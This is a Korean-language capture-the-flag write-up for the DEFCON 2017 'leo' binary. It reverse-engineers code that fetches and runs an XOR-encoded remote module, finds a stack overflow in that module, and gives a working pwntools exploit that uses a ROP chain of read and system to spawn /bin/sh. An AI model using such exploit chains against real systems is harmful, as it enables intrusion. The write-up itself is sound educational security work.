Excuse the ads! We need some help to keep our site up.


List


Infomation

Description

You boys like Mexico?!

leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me:61111

Files

File

Source Code

Writeup

File information

lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ file leo 
leo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5fa0449905a79b55301d9ff35c76c83d01720f1f, stripped
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ checksec.sh --file leo
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   leo
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ 

Binary analysis

Setting

  • 해당 문제를 풀기 위해 사전에 다음과 같은 설정이 필요합니다.
  • apache 서버 실행
    • Kali linux에는 apache가 기본적으로 설치되어 있습니다.
Web server start
root@kali:~# service apache2 start
  • "23fsf251l10o121415" 파일 업로드
    • 해당 문제를 풀기 위해 해당 파일을 다음과 같은 경로에 업로드 합니다.
    • VMware를 이용할 경우 Drag&Drop으로 업로드하면 됩니다.
    • Drag & Drop 기능을 사용할 수 없을 때 다음과 같이 명령어를 실행합니다.
File upload
lazenca0x0@ubuntu:~# scp 23fsf251l10o121415 root@192.168.239.156:/var/www/html/
  • 호스트명 변경
    • 해당 문제를 풀기 위해서는 반드시 다음과 같이 Host 파일의 내용 변경이 필요합니다.
Host file change
lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ sudo -i
root@ubuntu:~# echo leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me >> /etc/hostname 
root@ubuntu:~# echo "192.168.239.156 leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me" >> /etc/hosts
status check for web server.
lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ wget http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/23fsf251l10o121415
--2017-06-14 23:54:06--  http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/23fsf251l10o121415
Resolving leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me (leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me)... 192.168.239.156
Connecting to leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me (leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me)|192.168.239.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 110
Saving to: '23fsf251l10o121415.1'

100%[===================================================================================================================================================================>] 110         --.-K/s   in 0s      

2017-06-14 23:54:06 (25.4 MB/s) - '23fsf251l10o121415.1' saved [110/110]

lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ 

.init_array

  • 해당 함수는 main() 함수가 호출되기 전에 .init_array영역에서 호출됩니다.
    • 아래 init()함수에서 off_603DF8[] 에 의해 "0x4013CF" 영역의 함수가 호출됩니다.
init()
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r13@1
  __int64 v4; // rbx@1
  signed __int64 v5; // rbp@1

  v3 = a3;
  v4 = 0LL;
  v5 = &off_603E08 - off_603DF8;
  init_proc();
  if ( v5 )
  {
    do
      ((void (__fastcall *)(_QWORD, __int64, __int64))off_603DF8[v4++])(a1, a2, v3);
    while ( v4 != v5 );
  }
}
  • 해당 함수는 다음과 같은 기능을 합니다.
    • curl_easy_setopt() 함수를 아래 URL의 내용을 가져오기 위한 설정을 진행합니다.

    • curl_easy_perform() 함수를 이용해 해당 페이지(파일)의 내용을 addr 영역에 저장합니다.
    • mprotect() 함수를 이용해 addr 영역에 읽기, 쓰기, 실행 권한을 할당합니다.

    • addr영역에 저장된 값은 xor 연산을 이용해 복호화 됩니다.(Key : 0xAA)
Load file() - 0x4013CF
__int64 __fastcall sub_4013CF(__int64 a1, char **a2)
{
  char *v2; // rax@1
  size_t v3; // rsi@1
  char *moduleName; // rax@3
  __int64 v5; // rax@7
  size_t v6; // rsi@12
  __int64 v7; // rdi@18
  char errMsgMprotect[18]; // [rsp+10h] [rbp-170h]@1
  char errMsgModuleNotFound[17]; // [rsp+30h] [rbp-150h]@1
  char v12[68]; // [rsp+50h] [rbp-130h]@1
  __int64 v13; // [rsp+120h] [rbp-60h]@9
  int v14; // [rsp+12Ch] [rbp-54h]@9
  unsigned int v15; // [rsp+130h] [rbp-50h]@6
  int v16; // [rsp+134h] [rbp-4Ch]@6
  int v17; // [rsp+138h] [rbp-48h]@6
  int v18; // [rsp+13Ch] [rbp-44h]@6
  int v19; // [rsp+140h] [rbp-40h]@5
  int v20; // [rsp+144h] [rbp-3Ch]@4
  __int64 v21; // [rsp+148h] [rbp-38h]@3
  int (*v22)(const char *); // [rsp+150h] [rbp-30h]@1
  size_t alignment; // [rsp+158h] [rbp-28h]@1
  int v24; // [rsp+164h] [rbp-1Ch]@1
  int errCode; // [rsp+168h] [rbp-18h]@1
  int i; // [rsp+16Ch] [rbp-14h]@15

  v24 = 0;
  errMsgModuleNotFound[0] = 'm';
  errMsgModuleNotFound[1] = 'o';
  errMsgModuleNotFound[2] = 'd';
  errMsgModuleNotFound[3] = 'u';
  errMsgModuleNotFound[4] = 'l';
  errMsgModuleNotFound[5] = 'e';
  errMsgModuleNotFound[6] = ' ';
  errMsgModuleNotFound[7] = 'n';
  errMsgModuleNotFound[8] = 'o';
  errMsgModuleNotFound[9] = 't';
  errMsgModuleNotFound[10] = ' ';
  errMsgModuleNotFound[11] = 'f';
  errMsgModuleNotFound[12] = 'o';
  errMsgModuleNotFound[13] = 'u';
  errMsgModuleNotFound[14] = 'n';
  errMsgModuleNotFound[15] = 'd';
  errMsgModuleNotFound[16] = '\0';
  errMsgMprotect[0] = 'm';
  errMsgMprotect[1] = 'p';
  errMsgMprotect[2] = 'r';
  errMsgMprotect[3] = 'o';
  errMsgMprotect[4] = 't';
  errMsgMprotect[5] = 'e';
  errMsgMprotect[6] = 'c';
  errMsgMprotect[7] = 't';
  errMsgMprotect[8] = '(';
  errMsgMprotect[9] = ')';
  errMsgMprotect[10] = ' ';
  errMsgMprotect[11] = 'f';
  errMsgMprotect[12] = 'a';
  errMsgMprotect[13] = 'i';
  errMsgMprotect[14] = 'l';
  errMsgMprotect[15] = 'e';
  errMsgMprotect[16] = 'd';
  errMsgMprotect[17] = 0;
  strcpy(v12, "http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/");
  errCode = 0x58C3;
  v2 = __xpg_basename(*a2);
  openlog(v2, 8, 8);
  alignment = sysconf(30);
  v22 = system;
  v3 = alignment;
  errCode = posix_memalign(&addr, alignment, 2 * alignment);
  if ( errCode )
    exit(-1);
  len = 2 * alignment;
  qword_6041A0 = 0LL;
  curl_global_init(3LL, v3);
  v21 = curl_easy_init(3LL);
  moduleName = &v12[strlen(v12)];
  *(_QWORD *)moduleName = '152fsf32';
  *((_QWORD *)moduleName + 1) = '4121o01l';
  *((_WORD *)moduleName + 8) = '51';
  moduleName[18] = 0;
  if ( v24 )
  {
    v19 = 10002;
    curl_easy_setopt(v21, 10002LL, a2[v24]);    // CURLOPT_URL
  }
  else
  {
    v20 = 10002;
    curl_easy_setopt(v21, 10002LL, v12);
  }
  v18 = 20011;
  curl_easy_setopt(v21, 20011LL, contentCopyToHeap);// CURLOPT_WRITEFUNCTION
  v17 = 10001;
  curl_easy_setopt(v21, 10001LL, &addr);        // CURLOPT_WRITEDATA
  v16 = 10018;
  curl_easy_setopt(v21, 10018LL, "libcurl-agent/1.0");// CURLOPT_USERAGENT
  v15 = curl_easy_perform(v21);
  if ( v15 )
  {
    v5 = curl_easy_strerror(v15);
    syslog(3, "curl_easy_perform() failed: %s", v5, a2);
    exit(-1);
  }
  v14 = 2097154;
  curl_easy_getinfo(v21, 2097154LL, &v13);
  if ( v13 == 404 )
  {
    syslog(3, errMsgModuleNotFound, a2);
    exit(-1);
  }
  v6 = len;
  errCode = mprotect(addr, len, 7);
  if ( errCode )
  {
    syslog(3, errMsgMprotect, a2);
    exit(-1);
  }
  for ( i = 0; i < len; ++i )
    *((_BYTE *)addr + i) ^= 0xAA;
  v7 = v21;
  curl_easy_cleanup(v21, v6);
  return curl_global_cleanup(v7);
}

Main()

  • 해당 함수는 다음과 같은 기능을 합니다.

    • read()함수를 이용해 16000개의 문자를 입력 받습니다.
    • checkZero(), checkDataSize()함수를 이용해 buffer에 저장된 data의 크기를 확인합니다.

    • getData() 함수를 호출하면 값을 리턴하며, 리턴된 값은 if()를 이용해 조건에 만족하는지 확인합니다.
    • 중요한 부분은 다음과 같습니다.
      • if()에서 같은 값을 찾는 조건 값 : 49, 50, 100, 2, 25
      • 앞에서 언급한 조건 값이 아닐 경우 ".init_array" 영역에서 할당된 addr 함수가 호출됩니다.
unsigned int __fastcall main(signed int argc, char **option, char **a3)
{
  signed int data; // eax@33 MAPDST
  char url[80]; // [rsp+10h] [rbp-3F70h]@1
  char welcomeMSG[112]; // [rsp+60h] [rbp-3F20h]@20
  char buffer[16000]; // [rsp+D0h] [rbp-3EB0h]@23
  __int64 functionCall; // [rsp+3F58h] [rbp-28h]@29
  __int64 len; // [rsp+3F60h] [rbp-20h]@23
  int v10; // [rsp+3F6Ch] [rbp-14h]@17
  int i; // [rsp+3F74h] [rbp-Ch]@4
  __int64 readedSize; // [rsp+3F78h] [rbp-8h]@23

  data = 0;
  strcpy(url, "http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/");
  openlog(*option, 8, 8);
  src = url;
  if ( argc > 2 )
  {
    if ( argc != 3 && argc != 5 )
    {
      syslog(3, "Bad command line.", option);
      exit(-1);
    }
    for ( i = 1; argc - 1 > i; ++i )
    {
      if ( !strcmp(option[i], "-u") && argc - 1 != i )
        src = option[i + 1LL];
      if ( !strcmp(option[i], "-D") && argc - 1 != i )
      {
        puts(option[i + 1LL]);
        path = option[i + 1LL];
      }
    }
  }
  if ( path )
  {
    v10 = chdir(path);
    if ( v10 == -1 )
    {
      syslog(3, "Error setting working directory", option);
      exit(-1);
    }
  }
  if ( (unsigned int)readWelcomMSG(welcomeMSG, 100) )
  {
    puts("\nNo welcome message or hint text found.  You are on your own, Bucko.\n");
    fflush(stdout);
  }
  else
  {
    puts(welcomeMSG);
  }
  memset(buffer, 0, 16000uLL);
  len = 0LL;
  readedSize = 0LL;
  do
  {
    len = read(0, &buffer[readedSize], 16000 - readedSize);
    if ( len == -1 )
    {
      syslog(3, "Error reading from STDIN...exiting", option);
      exit(-1);
    }
    if ( !len )
      break;
    readedSize += len;
  }
  while ( readedSize != 16000 );
  functionCall = (__int64)checkZero;
  if ( (unsigned int)checkZero(buffer, readedSize) == -1 )
  {
    puts("There appears to be no data.... did you send some?");
    fflush(stdout);
    return 0;
  }
  functionCall = (__int64)checkDataSize;
  if ( (unsigned int)checkDataSize(buffer, readedSize) == -1 )
  {
    puts("I need more data to analyze.");
    fflush(stdout);
    return 0;
  }
  functionCall = (__int64)getData;
  data = getData(buffer, readedSize);
  if ( data == 49 )
  {
    puts("This is ASCII text.");
    fflush(stdout);
    functionCall = (__int64)sub_401C3B;
    sub_401C3B(buffer, readedSize);
  }
  else if ( data > 49 )
  {
    if ( data == 50 )
    {
      puts("This is ASCII data.");
      fflush(stdout);
      functionCall = (__int64)checkDataSize;
      checkDataSize(buffer, readedSize);
    }
    else
    {
      if ( data != 100 )
      {
LABEL_46:
        puts("This doesn't match my patterns.  Checking...");
        fflush(stdout);
        functionCall = (__int64)addr;
        ((void (__fastcall *)(char *, _QWORD))addr)(buffer, (unsigned int)readedSize);
        goto LABEL_47;
      }
      puts("Its an executable?  Let's see what 'file' says...");
      fflush(stdout);
      functionCall = (__int64)fileTest;
      fileTest(buffer, readedSize);
    }
  }
  else
  {
    if ( data == 2 )
    {
      puts("Data appears to be encrypted or very random.  Further tests aborted.");
      fflush(stdout);
      return 2;
    }
    if ( data != 25 )
      goto LABEL_46;
    puts("I guess its binary data. Let's see what 'file' says...");
    fflush(stdout);
    functionCall = (__int64)fileTest;
    fileTest(buffer, readedSize);
  }
LABEL_47:
  closelog();
  fflush(stdout);
  return sleep(1u);
}

getData()

  • 해당 함수는 다음과 같은 기능을 합니다.
    • for()를 이용해 tmp[][] 의 값을 초기화 합니다.
    • for()를 이용해 buffer[i]의 값을 추출해서 tmp[][1]의 첫번째 배열에 전달합니다.
      • tmp[buffer[i]][1] 영역의 값을 1 증가 시킵니다.
      • Ex) buffer[1] 에 저장된 값이 3이라면 "++tmp[1][1]" 영역에 값을 1증가 시킵니다.
    • for()를 이용해 tmp[i][1] 영역에서 제일 큰 값과 제일 작은 값을 maxValOne, minValOne에 저장합니다.
      • sumVal에 tmp[i][1]에 저장된 모든 값을 더한 후 ">> 8" 연산한 값을 저장합니다.
    • reSort() 함수를 호출합니다.
    • for()를 이용해 tmp[i][1] 영역에서 '0'을 제외한 값중에서 제일 큰 값과 제일 작은 값을  minValZero, maxValZero에 저장합니다.
      • zeroCount에 tmp[i][1] 영역에 저장된 '0' 갯수를 저장합니다.

    • 이렇게 연산된 값들은 if()에 의해 각 조건을 만족하면 특정 값들을 리턴합니다.
      • 리턴되는 값 : 2, 100, 22, 25, 49, 50
    • 여기서 중요한 부분은 main() 함수에서 사용하는 조건 값에 22는 포함되어 있지 않습니다.
    • 즉, 해당 값으로 addr 을 호출할 수 있습니다.
signed __int64 __fastcall getData(char *buffer, int size)
{
  signed __int64 result; // rax@25
  unsigned int tmp[256][2]; // [rsp+10h] [rbp-820h]@2
  unsigned int maxValZero; // [rsp+814h] [rbp-1Ch]@1
  unsigned int minValZero; // [rsp+818h] [rbp-18h]@1
  unsigned int zeroCount; // [rsp+81Ch] [rbp-14h]@1
  unsigned int sumVal; // [rsp+820h] [rbp-10h]@1
  unsigned int minValOne; // [rsp+824h] [rbp-Ch]@1
  unsigned int maxValOne; // [rsp+828h] [rbp-8h]@1
  int i; // [rsp+82Ch] [rbp-4h]@1

  maxValOne = 0;
  minValOne = 0xFFFFFFFF;
  sumVal = 0;
  zeroCount = 0;
  minValZero = 0x1FF;
  maxValZero = 0;
  for ( i = 0; i <= 255; ++i )
  {
    tmp[i][0] = i;
    tmp[i][1] = 0;
  }
  for ( i = 0; i < size; ++i )
    ++tmp[(unsigned __int8)buffer[i]][1];
  for ( i = 0; i <= 255; ++i )
  {
    if ( tmp[i][1] > maxValOne )
      maxValOne = tmp[i][1];
    if ( tmp[i][1] < minValOne )
      minValOne = tmp[i][1];
    sumVal += tmp[i][1];
  }
  sumVal >>= 8;
  reSort((bins *)tmp, 256);
  for ( i = 0; i <= 255; ++i )
  {
    if ( tmp[i][1] )
    {
      if ( tmp[i][0] < minValZero )
        minValZero = tmp[i][0];
      if ( tmp[i][0] > maxValZero )
        maxValZero = tmp[i][0];
    }
    else
    {
      ++zeroCount;
    }
  }
  if ( zeroCount <= 4 && 10 * sumVal > maxValOne )
    return 2LL;
  if ( maxValZero > 0x7F || minValZero <= 8 )
  {
    if ( minValOne && 10 * sumVal < maxValOne )
    {
      result = 100LL;
    }
    else if ( minValOne || 2 * sumVal >= maxValOne )
    {
      result = 22LL;
    }
    else
    {
      result = 25LL;
    }
  }
  else if ( tmp[255][0] == 32 )
  {
    result = 49LL;
  }
  else
  {
    result = 50LL;
  }
  return result;
}

reSort()

  • 해당 함수는 다음과 같은 기능을 합니다.
    • for()를 이용해 'tmps[j][1]' 의 값이 'tmps[j + 1][1]' 의 값 보다 크다면,  'tmps[j][0,1]' 영역의 값과 'tmps[j + 1][0,1]' 영역의 값을 교환합니다.
__int64 __fastcall reSort(bins *tmp, int size256)
{
  unsigned int valueZero; // ST14_4@4
  unsigned int valueOne; // ST10_4@4
  __int64 result; // rax@8
  int j; // [rsp+14h] [rbp-8h]@2
  signed int i; // [rsp+18h] [rbp-4h]@1

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)(size256 - 1);
    if ( (signed int)result <= i )
      break;
    for ( j = 0; size256 - i - 1 > j; ++j )
    {
      if ( tmp->tmps[j][1] > tmp->tmps[j + 1][1] )
      {
        valueZero = tmp->tmps[j + 1LL][0];
        valueOne = tmp->tmps[j + 1][1];
        tmp->tmps[j + 1LL][0] = tmp->tmps[j][0];
        tmp->tmps[j + 1][1] = tmp->tmps[j][1];
        tmp->tmps[j][0] = valueZero;
        tmp->tmps[j][1] = valueOne;
      }
    }
  }
  return result;
}

addr()

  • 다음과 같은 방법으로 addr 영역을 호출합니다.
    • 우선 getData() 함수로 부터 22를 리턴 받지 못하고 있기 때문에 디버깅을 통해 해당 값을 다음과 같은 방법으로 변경합니다.
set $eax = 22
gdb-peda$ b *0x402079
Breakpoint 1 at 0x402079
gdb-peda$ c
Continuing.

Breakpoint 1, 0x0000000000402079 in ?? ()
gdb-peda$ i r eax
eax            0x32	0x32
gdb-peda$ p/d 0x32
$1 = 50
gdb-peda$ set $eax = 22
gdb-peda$ i r eax
eax            0x16	0x16
gdb-peda$ p/d 0x16
$2 = 22
gdb-peda$ 
  • 다음과 같이 GDB를 이용해 Heap 영역에 저장된 코드를 확인할 수 있습니다.
Assembly code - addr()
gdb-peda$ b *0x4021FE
Breakpoint 2 at 0x4021fe
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00000000004021fe in ?? ()
gdb-peda$ i r rax
rax            0x971000	0x971000
gdb-peda$

gdb-peda$ x/40i 0x971000
   0x971000:	push   rbp
   0x971001:	mov    rbp,rsp
   0x971004:	mov    QWORD PTR [rbp-0x28],rdi
   0x971008:	mov    DWORD PTR [rbp-0x2c],esi
   0x97100b:	mov    eax,DWORD PTR [rbp-0x2c]
   0x97100e:	mov    edx,eax
   0x971010:	shr    edx,0x1f
   0x971013:	add    eax,edx
   0x971015:	sar    eax,1
   0x971017:	add    eax,0x1
   0x97101a:	mov    DWORD PTR [rbp-0x8],eax
   0x97101d:	mov    DWORD PTR [rbp-0x4],0x11
   0x971024:	mov    DWORD PTR [rbp-0x4],0x0
   0x97102b:	jmp    0x971060
   0x97102d:	mov    eax,DWORD PTR [rbp-0x2c]
   0x971030:	mov    edx,eax
   0x971032:	shr    edx,0x1f
   0x971035:	add    eax,edx
   0x971037:	sar    eax,1
   0x971039:	add    eax,0x1
   0x97103c:	cmp    eax,DWORD PTR [rbp-0x8]
   0x97103f:	jne    0x97106b
   0x971041:	mov    eax,DWORD PTR [rbp-0x4]
   0x971044:	movsxd rdx,eax
   0x971047:	mov    rax,QWORD PTR [rbp-0x28]
   0x97104b:	add    rax,rdx
   0x97104e:	movzx  eax,BYTE PTR [rax]
   0x971051:	mov    edx,eax
   0x971053:	mov    eax,DWORD PTR [rbp-0x4]
   0x971056:	cdqe   
   0x971058:	mov    BYTE PTR [rbp+rax*1-0x20],dl
   0x97105c:	add    DWORD PTR [rbp-0x4],0x1
   0x971060:	mov    eax,DWORD PTR [rbp-0x4]
   0x971063:	cmp    eax,DWORD PTR [rbp-0x2c]
   0x971066:	jl     0x97102d
   0x971068:	nop
   0x971069:	jmp    0x97106c
   0x97106b:	nop
   0x97106c:	pop    rbp
   0x97106d:	ret    
gdb-peda$
  • 해당 코드를 디컴파일하면 다음과 같은 코드를 얻을 수 있습니다.
  • 해당 함수는 다음과 같은 기능을 합니다.
    • for()를 이용해 'stackOverFlow[]' 영역에 '*buffer'에 저장된 데이터를 저장합니다.
    • 취약성은 여기서 발생합니다.
      • stackOverFlow의 크기는 24byte 입니다.
      • 이로 인해 사용자가 입력한 값이 해당 함수의 Return address영역을 덮어쓸수 있습니다.
    • 여기서 주의 할 점은 다음과 같습니다.
      • i, half 영역도 buffer의 데이터로 덮어써집니다.
      • 이로 인해 if()에서 요구하는 조건을 만족하지 못해 프로그램이 종료됩니다.
addr()
__int64 __fastcall sub_15F6000(char *buffer, signed int readSize)
{
  __int64 result; // rax@2
  char stackOverFlow[24]; // [rsp+Ch] [rbp-20h]@3
  int half; // [rsp+24h] [rbp-8h]@1
  int i; // [rsp+28h] [rbp-4h]@1

  half = readSize / 2 + 1;
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= readSize )
      break;
    result = (unsigned int)(readSize / 2 + 1);
    if ( (_DWORD)result != half )
      break;
    stackOverFlow[i] = buffer[i];
  }
  return result;
}
  • 다음과 같은 코드를 이용해 Stack Overflow를 확인할 수 있습니다.
    • i, half 는 int형 이기 때문에 4byte로 데이터를 전달 합니다.
      • half(0x1f41) = 16000 / 2 + 1

      • i(0x1d) = 24(stackOverFlow size) + 4(half size) + 1
from pwn import *

p = process('./leo')

data = 'AAAAAAAA' * 3
data += p32(0x1f41)
data += p32(0x1d)
data += 'BBBBBBBB'
data += 'CCCCCCCC'
data += 'D' * (16000 - len(data))

sleep(20)
p.send(data)
p.interactive()

Stack overflow

  • 다음과 같이 Segmentation fault을 확인 할 수 있습니다.
Breakpoint 2, 0x00000000004021fe in ?? ()
gdb-peda$ i r rax
rax            0x1797000	0x1797000
gdb-peda$ b *0x1797000
Breakpoint 3 at 0x1797000
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000000001797000 in ?? ()
gdb-peda$ x/40i $rip
=> 0x1797000:	push   rbp
   0x1797001:	mov    rbp,rsp
...
   0x179706b:	nop
   0x179706c:	pop    rbp
   0x179706d:	ret    
gdb-peda$ b *0x179706d
Breakpoint 4 at 0x179706d
gdb-peda$ c
Continuing.
0x000000000179706d in ?? ()
gdb-peda$ i r rsp
rsp            0x7ffe58bf5cd8	0x7ffe58bf5cd8
gdb-peda$ x/4gx 0x7ffe58bf5cd8
0x7ffe58bf5cd8:	0x4343434343434343	0x4444444444444444
0x7ffe58bf5ce8:	0x4444444444444444	0x4444444444444444
gdb-peda$ ni

Program received signal SIGSEGV, Segmentation fault.

Structure of Exploit code 

  • getData() 함수로 부터 22 를 리턴받아 addr() 함수를 호출
  • addr() 함수의 Return address 영역을 ROP 로 덮어씀
    • read(0, bss, size)
    • system(bss)
  • The following information is required for an attack:
  • getData() 함수로 부터 '22' 를 리턴 받을 수 있는 Data 구성
  • ROP Gadget

Information for attack

ROP Gadget

  • 다음과 같은 방법으로 필요한 Gadget을 얻을 수 있습니다.

ropsearch 'pop rdi'
gdb-peda$ ropsearch 'pop rdi'
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00402703 : (b'5fc3')	pop rdi; ret
gdb-peda$
  • 해당 바이너리에 찾은 'pop rsi' Gadget에 'pop r15' 포함되어 있지만 문제가 되지 않습니다.
gdb-peda$ ropsearch 'pop rsi'
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00402701 : (b'5e415fc3')	pop rsi; pop r15; ret
gdb-peda$
  • 해당 바이너리에 'pop rdx' Gadget이 존재하지 않습니다.

gdb-peda$ ropsearch 'pop rdx'
Searching for ROP gadget: 'pop rdx' in: binary ranges
Not found
gdb-peda$
  • 'pop rdx' Gadget이 필요한지 확인해보겠습니다.
    • 'ret' 명령어가 호출될 때 'rdx' 레지스터에는 buffer 영역의 마지막에 저장된 'D(0x44)'가 저장되어 있습니다.
    • 즉, 'pop rdx' Gadget 은 필요하지 않습니다.
      • buffer 마지막 영역에 저장되는 값이 0x7 이상의 값을 저장하면 됩니다..
Breakpoint 2, 0x00000000004021fe in ?? ()
gdb-peda$ i r rax
rax            0x95b000	0x95b000
gdb-peda$ b *0x95b000
Breakpoint 3 at 0x95b000
gdb-peda$ c
Continuing.


Breakpoint 3, 0x000000000095b000 in ?? ()
gdb-peda$ x/40i 0x95b000
=> 0x95b000:	push   rbp
   0x95b001:	mov    rbp,rsp
...
   0x95b068:	nop
   0x95b069:	jmp    0x95b06c
   0x95b06b:	nop
   0x95b06c:	pop    rbp
   0x95b06d:	ret    
gdb-peda$ b *0x95b06d
Breakpoint 4 at 0x95b06d
gdb-peda$ c
Continuing.
Breakpoint 4, 0x000000000095b06d in ?? ()
gdb-peda$ i r rdx
rdx            0x44	0x44
gdb-peda$ 

Get 22 from getData() function

  • 우선 다음과 같은 POC 코드를 작성할 수 있습니다.
from pwn import *

FILEPATH = './leo'


rdi = 0x00402703
rsi = 0x00402701


elf = ELF(FILEPATH)
p = process(FILEPATH)

data = 'AAAAAAAA' * 3
data += p32(0x1f41)     # half
data += p32(0x1d)       # i
data += p64(0)

#read(0,bss,size)
data += p64(rdi)
data += p64(0)
data += p64(rsi)
data += p64(elf.bss())
data += p64(0)
data += p64(elf.plt['read'])

#system(bss)
data += p64(rdi)
data += p64(elf.bss())
data += p64(elf.plt['system'])

data += 'D' * (16000 - len(data))

sleep(20)
p.send(data)
p.send('/bin/sh')
p.interactive()
  • 우선 첫번째 if() 조건은 zeroCount의 값을 4 이상 값으로 저장해서 통과 할 수 있습니다.
  • 두번째, 세번째 if() 조건은 'minValOne', 'minValZero'의 값이 zeroCount에 의해 0이 되기 때문에 통과 할 수 있습니다.
  • 마지막 if() 조건을 만족시키기 위해서 "2 * sumVal >= maxValOne" 조건의 결과로 참(True)을 얻어야 합니다.

    • 조건에서 참(True)을 얻기위해 알아야 할 정보는 다음과 같습니다.
      • sumVal는 0x3e(62)을 넘을 수 없습니다. 
      • 즉, maxValOne의 값이 127 보다 작으면 해당 조건에서 참(True)을 얻을 수 있습니다.
        • (16000(buffer size) >> 8) * 2= 0x7c(124)
...
  if ( zeroCount <= 4 && 10 * sumVal > maxValOne )
    return 2LL;
  if ( maxValZero > 127 || minValZero <= 8 )
  {
    if ( minValOne && 10 * sumVal < maxValOne )
    {
      result = 100LL;
    }
    else if ( minValOne || 2 * sumVal >= maxValOne )
    {
      result = 22LL;
    }
    else
    {
...
  • 다음과 같은 코드를 이용해 해당 조건을 만족하는 Data를 만들수 있습니다.
for i in range(0,255):
    if len(data) < 16000:
	    valCnt = data.count(chr(i))
	    if valCnt  > 124:
	        log.info("Warring!")
        elif valCnt < 124:
    	    if 16000 - len(data) > 124 - valCnt:
                data += chr(i) * (124 - valCnt)
	        else:
		        data += chr(i) * (16000 - len(data))

Exploit Code

Exploit code
from pwn import *

FILEPATH = './leo'

rdi = 0x00402703
rsi = 0x00402701

elf = ELF(FILEPATH)
p = process(FILEPATH)

data = ''
for i in range(0,24):
    data += chr(i)

data += p32(0x1f41)     # half
data += p32(0x1d)       # i
data += p64(0)

#read(0,bss,size)
data += p64(rdi)
data += p64(0)
data += p64(rsi)
data += p64(elf.bss())
data += p64(0)
data += p64(elf.plt['read'])

#system(bss)
data += p64(rdi)
data += p64(elf.bss())
data += p64(elf.plt['system'])

print str(len(data))

for i in range(0,255):
    if len(data) < 16000:
	    valCnt = data.count(chr(i))
	    if valCnt  > 124:
	        log.info("Warring!")
        elif valCnt < 124:
	        if 16000 - len(data) > 124 - valCnt:
            	data += chr(i) * (124 - valCnt)
	        else:
		        data += chr(i) * (16000 - len(data))


sleep(20)
p.send(data)
p.send('/bin/sh')
p.interactive()

Flag

Flag2c641a4386ec64280ca77d1beae6d372

Related Site

  • N / a